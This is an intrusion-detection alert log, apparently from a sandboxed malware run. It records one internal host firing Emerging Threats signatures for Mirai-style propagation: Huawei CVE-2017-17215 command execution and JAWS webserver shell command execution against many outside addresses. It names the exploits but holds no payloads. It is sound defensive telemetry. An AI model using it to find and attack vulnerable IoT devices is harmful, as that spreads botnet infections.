2025-02-04T18:11:38.819742+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52870	156.118.10.77	37215	TCP
2025-02-04T18:11:38.878445+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	44592	178.15.78.97	80	TCP
2025-02-04T18:11:38.878445+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	44592	178.15.78.97	80	TCP
2025-02-04T18:11:38.878617+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38764	197.153.167.125	37215	TCP
2025-02-04T18:11:38.878679+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42968	197.109.186.149	37215	TCP
2025-02-04T18:11:38.879968+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35030	41.237.200.164	37215	TCP
2025-02-04T18:11:38.895338+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	33174	148.218.47.162	80	TCP
2025-02-04T18:11:38.895338+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	33174	148.218.47.162	80	TCP
2025-02-04T18:11:38.909554+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47320	197.14.66.12	37215	TCP
2025-02-04T18:11:38.913143+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	53500	126.88.175.215	80	TCP
2025-02-04T18:11:38.913143+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	53500	126.88.175.215	80	TCP
2025-02-04T18:11:38.925400+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	38698	206.18.177.12	80	TCP
2025-02-04T18:11:38.925400+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	38698	206.18.177.12	80	TCP
2025-02-04T18:11:38.972015+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38780	197.109.31.175	37215	TCP
2025-02-04T18:11:38.985638+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	53966	82.32.93.110	80	TCP
2025-02-04T18:11:38.985638+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	53966	82.32.93.110	80	TCP
2025-02-04T18:11:38.991513+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	47786	41.137.229.247	80	TCP
2025-02-04T18:11:38.991513+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	47786	41.137.229.247	80	TCP
2025-02-04T18:11:39.048243+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33700	197.133.40.24	37215	TCP
2025-02-04T18:11:39.052067+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49810	156.80.186.253	37215	TCP
2025-02-04T18:11:39.063736+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35530	156.161.111.247	37215	TCP
2025-02-04T18:11:39.067785+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38760	41.29.6.122	37215	TCP
2025-02-04T18:11:39.069370+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	33948	13.108.32.211	80	TCP
2025-02-04T18:11:39.069370+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	33948	13.108.32.211	80	TCP
2025-02-04T18:11:39.081088+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	37834	35.149.142.163	80	TCP
2025-02-04T18:11:39.081088+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	37834	35.149.142.163	80	TCP
2025-02-04T18:11:39.097298+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44860	156.66.193.93	37215	TCP
2025-02-04T18:11:39.126248+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	43492	203.195.122.98	80	TCP
2025-02-04T18:11:39.126248+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	43492	203.195.122.98	80	TCP
2025-02-04T18:11:39.220090+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	37202	67.218.78.191	80	TCP
2025-02-04T18:11:39.220090+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	37202	67.218.78.191	80	TCP
2025-02-04T18:11:39.220126+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56388	166.138.238.35	80	TCP
2025-02-04T18:11:39.220126+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	56388	166.138.238.35	80	TCP
2025-02-04T18:11:39.235690+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	43514	107.223.216.240	80	TCP
2025-02-04T18:11:39.235690+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	43514	107.223.216.240	80	TCP
2025-02-04T18:11:39.241495+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	49602	216.213.46.231	80	TCP
2025-02-04T18:11:39.241495+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	49602	216.213.46.231	80	TCP
2025-02-04T18:11:39.287567+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	40134	150.170.24.90	80	TCP
2025-02-04T18:11:39.287567+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	40134	150.170.24.90	80	TCP
2025-02-04T18:11:39.288898+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	41766	124.184.212.227	80	TCP
2025-02-04T18:11:39.288898+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	41766	124.184.212.227	80	TCP
2025-02-04T18:11:39.798420+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	57966	51.139.218.36	80	TCP
2025-02-04T18:11:39.798420+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	57966	51.139.218.36	80	TCP
2025-02-04T18:11:39.800330+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	41992	25.233.224.38	80	TCP
2025-02-04T18:11:39.800330+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	41992	25.233.224.38	80	TCP
2025-02-04T18:11:39.822459+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	46296	139.225.240.172	80	TCP
2025-02-04T18:11:39.822459+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	46296	139.225.240.172	80	TCP
2025-02-04T18:11:39.823341+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	42392	98.228.221.176	80	TCP
2025-02-04T18:11:39.823341+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	42392	98.228.221.176	80	TCP
2025-02-04T18:11:39.869788+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	49998	62.3.220.66	80	TCP
2025-02-04T18:11:39.869788+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	49998	62.3.220.66	80	TCP
2025-02-04T18:11:39.870198+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	45680	176.100.12.176	80	TCP
2025-02-04T18:11:39.870198+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	45680	176.100.12.176	80	TCP
2025-02-04T18:11:39.871007+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	58308	95.141.34.86	80	TCP
2025-02-04T18:11:39.871007+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	58308	95.141.34.86	80	TCP
2025-02-04T18:11:40.063768+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37782	156.181.117.103	37215	TCP
2025-02-04T18:11:40.067528+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38036	156.87.226.227	37215	TCP
2025-02-04T18:11:40.401916+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40210	197.5.14.49	37215	TCP
2025-02-04T18:11:40.535891+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	52372	186.209.63.200	80	TCP
2025-02-04T18:11:40.535891+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	52372	186.209.63.200	80	TCP
2025-02-04T18:11:40.737541+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	48546	19.119.179.107	80	TCP
2025-02-04T18:11:40.737541+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	48546	19.119.179.107	80	TCP
2025-02-04T18:11:40.741244+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	49556	32.109.104.6	80	TCP
2025-02-04T18:11:40.741244+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	49556	32.109.104.6	80	TCP
2025-02-04T18:11:40.782556+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	33764	9.119.226.185	80	TCP
2025-02-04T18:11:40.782556+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	33764	9.119.226.185	80	TCP
2025-02-04T18:11:40.782847+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52170	156.166.231.243	37215	TCP
2025-02-04T18:11:40.783346+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56370	197.206.55.46	37215	TCP
2025-02-04T18:11:40.813951+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	47682	222.146.115.153	80	TCP
2025-02-04T18:11:40.813951+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	47682	222.146.115.153	80	TCP
2025-02-04T18:11:40.813985+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	43710	155.48.55.41	80	TCP
2025-02-04T18:11:40.813985+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	43710	155.48.55.41	80	TCP
2025-02-04T18:11:40.815963+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	58146	161.215.111.37	80	TCP
2025-02-04T18:11:40.815963+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	58146	161.215.111.37	80	TCP
2025-02-04T18:11:40.819661+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	43058	125.144.55.236	80	TCP
2025-02-04T18:11:40.819661+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	43058	125.144.55.236	80	TCP
2025-02-04T18:11:40.869899+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	59318	162.28.10.148	80	TCP
2025-02-04T18:11:40.869899+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	59318	162.28.10.148	80	TCP
2025-02-04T18:11:40.870111+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	49792	74.137.199.231	80	TCP
2025-02-04T18:11:40.870111+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	49792	74.137.199.231	80	TCP
2025-02-04T18:11:40.909562+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	47526	204.176.132.110	80	TCP
2025-02-04T18:11:40.909562+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	47526	204.176.132.110	80	TCP
2025-02-04T18:11:40.923093+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50816	41.137.88.118	37215	TCP
2025-02-04T18:11:40.956193+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	37248	84.0.101.244	80	TCP
2025-02-04T18:11:40.956193+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	37248	84.0.101.244	80	TCP
2025-02-04T18:11:40.960009+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58172	41.106.217.55	37215	TCP
2025-02-04T18:11:40.991452+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33738	156.129.236.100	37215	TCP
2025-02-04T18:11:41.034633+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43732	41.238.27.185	37215	TCP
2025-02-04T18:11:41.038420+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	33010	207.26.197.36	80	TCP
2025-02-04T18:11:41.038420+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	33010	207.26.197.36	80	TCP
2025-02-04T18:11:41.054205+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	36766	143.23.249.38	80	TCP
2025-02-04T18:11:41.054205+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	36766	143.23.249.38	80	TCP
2025-02-04T18:11:41.063882+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53468	41.90.199.41	37215	TCP
2025-02-04T18:11:41.067835+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39476	197.75.231.248	37215	TCP
2025-02-04T18:11:41.087036+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58936	41.130.45.55	37215	TCP
2025-02-04T18:11:41.096679+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56738	156.106.230.150	37215	TCP
2025-02-04T18:11:41.096874+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	45022	32.71.11.101	80	TCP
2025-02-04T18:11:41.096874+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	45022	32.71.11.101	80	TCP
2025-02-04T18:11:41.128485+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	50898	42.77.12.95	80	TCP
2025-02-04T18:11:41.128485+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	50898	42.77.12.95	80	TCP
2025-02-04T18:11:41.161397+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	53626	17.53.64.207	80	TCP
2025-02-04T18:11:41.161397+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	53626	17.53.64.207	80	TCP
2025-02-04T18:11:41.241387+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	53464	35.94.114.161	80	TCP
2025-02-04T18:11:41.241387+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	53464	35.94.114.161	80	TCP
2025-02-04T18:11:41.241658+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	42064	79.68.93.23	80	TCP
2025-02-04T18:11:41.241658+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	42064	79.68.93.23	80	TCP
2025-02-04T18:11:41.266869+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	41752	180.247.222.119	80	TCP
2025-02-04T18:11:41.266869+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	41752	180.247.222.119	80	TCP
2025-02-04T18:11:41.272562+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56602	126.182.35.205	80	TCP
2025-02-04T18:11:41.272562+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	56602	126.182.35.205	80	TCP
2025-02-04T18:11:41.298784+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	60086	40.54.178.141	80	TCP
2025-02-04T18:11:41.298784+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	60086	40.54.178.141	80	TCP
2025-02-04T18:11:41.304523+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	46724	206.199.245.36	80	TCP
2025-02-04T18:11:41.304523+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	46724	206.199.245.36	80	TCP
2025-02-04T18:11:41.331767+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	36514	93.55.208.184	80	TCP
2025-02-04T18:11:41.331767+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	36514	93.55.208.184	80	TCP
2025-02-04T18:11:41.706603+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55504	156.195.158.216	37215	TCP
2025-02-04T18:11:41.764834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49716	156.231.34.243	37215	TCP
2025-02-04T18:11:41.814107+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	39428	183.119.84.214	80	TCP
2025-02-04T18:11:41.814107+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	39428	183.119.84.214	80	TCP
2025-02-04T18:11:41.814109+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	40192	25.68.126.50	80	TCP
2025-02-04T18:11:41.814109+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	40192	25.68.126.50	80	TCP
2025-02-04T18:11:41.831245+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	59440	54.197.207.13	80	TCP
2025-02-04T18:11:41.831245+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	59440	54.197.207.13	80	TCP
2025-02-04T18:11:41.831388+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	40176	144.229.87.242	80	TCP
2025-02-04T18:11:41.831388+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	40176	144.229.87.242	80	TCP
2025-02-04T18:11:41.833264+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40888	197.51.196.232	37215	TCP
2025-02-04T18:11:41.869999+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	34012	40.144.172.4	80	TCP
2025-02-04T18:11:41.869999+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	34012	40.144.172.4	80	TCP
2025-02-04T18:11:41.870000+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	45620	42.210.68.207	80	TCP
2025-02-04T18:11:41.870000+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	45620	42.210.68.207	80	TCP
2025-02-04T18:11:41.870769+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	58574	204.137.209.75	80	TCP
2025-02-04T18:11:41.870769+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	58574	204.137.209.75	80	TCP
2025-02-04T18:11:41.925193+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33982	41.247.70.4	37215	TCP
2025-02-04T18:11:41.939451+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55982	197.229.162.82	37215	TCP
2025-02-04T18:11:41.942683+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35342	197.165.49.31	37215	TCP
2025-02-04T18:11:41.954575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34564	41.160.92.139	37215	TCP
2025-02-04T18:11:41.960349+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38700	197.211.217.174	37215	TCP
2025-02-04T18:11:41.970172+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43636	197.225.24.55	37215	TCP
2025-02-04T18:11:42.807366+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	55376	151.3.92.187	80	TCP
2025-02-04T18:11:42.807366+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	55376	151.3.92.187	80	TCP
2025-02-04T18:11:42.816530+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	33914	130.194.192.131	80	TCP
2025-02-04T18:11:42.816530+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	33914	130.194.192.131	80	TCP
2025-02-04T18:11:42.831571+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	38374	166.170.65.204	80	TCP
2025-02-04T18:11:42.831571+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	38374	166.170.65.204	80	TCP
2025-02-04T18:11:42.871695+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	50488	200.200.243.56	80	TCP
2025-02-04T18:11:42.871695+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	50488	200.200.243.56	80	TCP
2025-02-04T18:11:42.871750+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	33266	191.252.64.221	80	TCP
2025-02-04T18:11:42.871750+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	33266	191.252.64.221	80	TCP
2025-02-04T18:11:42.871925+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56554	145.56.156.195	80	TCP
2025-02-04T18:11:42.871925+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	56554	145.56.156.195	80	TCP
2025-02-04T18:11:42.872282+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	46742	187.194.10.196	80	TCP
2025-02-04T18:11:42.872282+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	46742	187.194.10.196	80	TCP
2025-02-04T18:11:42.872397+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	33218	27.157.203.196	80	TCP
2025-02-04T18:11:42.872397+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	33218	27.157.203.196	80	TCP
2025-02-04T18:11:42.872723+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	43992	23.137.87.167	80	TCP
2025-02-04T18:11:42.872723+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	43992	23.137.87.167	80	TCP
2025-02-04T18:11:42.873953+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	50216	180.142.123.27	80	TCP
2025-02-04T18:11:42.873953+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	50216	180.142.123.27	80	TCP
2025-02-04T18:11:42.892068+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	47328	117.127.29.44	80	TCP
2025-02-04T18:11:42.892068+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	47328	117.127.29.44	80	TCP
2025-02-04T18:11:42.894055+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	54372	58.27.47.222	80	TCP
2025-02-04T18:11:42.894055+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	54372	58.27.47.222	80	TCP
2025-02-04T18:11:42.898202+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	50898	13.138.57.214	80	TCP
2025-02-04T18:11:42.898202+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	50898	13.138.57.214	80	TCP
2025-02-04T18:11:42.914695+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	42240	90.177.70.10	80	TCP
2025-02-04T18:11:42.914695+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	42240	90.177.70.10	80	TCP
2025-02-04T18:11:42.970033+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60952	156.136.36.32	37215	TCP
2025-02-04T18:11:42.989615+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44992	41.7.140.151	37215	TCP
2025-02-04T18:11:42.989623+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48144	156.60.233.0	37215	TCP
2025-02-04T18:11:43.053941+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	51524	186.177.39.200	80	TCP
2025-02-04T18:11:43.053941+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	51524	186.177.39.200	80	TCP
2025-02-04T18:11:43.143875+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	44120	179.210.59.211	80	TCP
2025-02-04T18:11:43.143875+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	44120	179.210.59.211	80	TCP
2025-02-04T18:11:43.195580+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	47236	194.139.104.203	80	TCP
2025-02-04T18:11:43.195580+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	47236	194.139.104.203	80	TCP
2025-02-04T18:11:43.301991+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	58230	219.172.14.29	80	TCP
2025-02-04T18:11:43.301991+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	58230	219.172.14.29	80	TCP
2025-02-04T18:11:43.313904+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	49030	166.123.231.179	80	TCP
2025-02-04T18:11:43.313904+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	49030	166.123.231.179	80	TCP
2025-02-04T18:11:43.415622+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	48066	17.196.195.95	80	TCP
2025-02-04T18:11:43.415622+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	48066	17.196.195.95	80	TCP
2025-02-04T18:11:43.442774+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	47862	126.24.223.98	80	TCP
2025-02-04T18:11:43.442774+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	47862	126.24.223.98	80	TCP
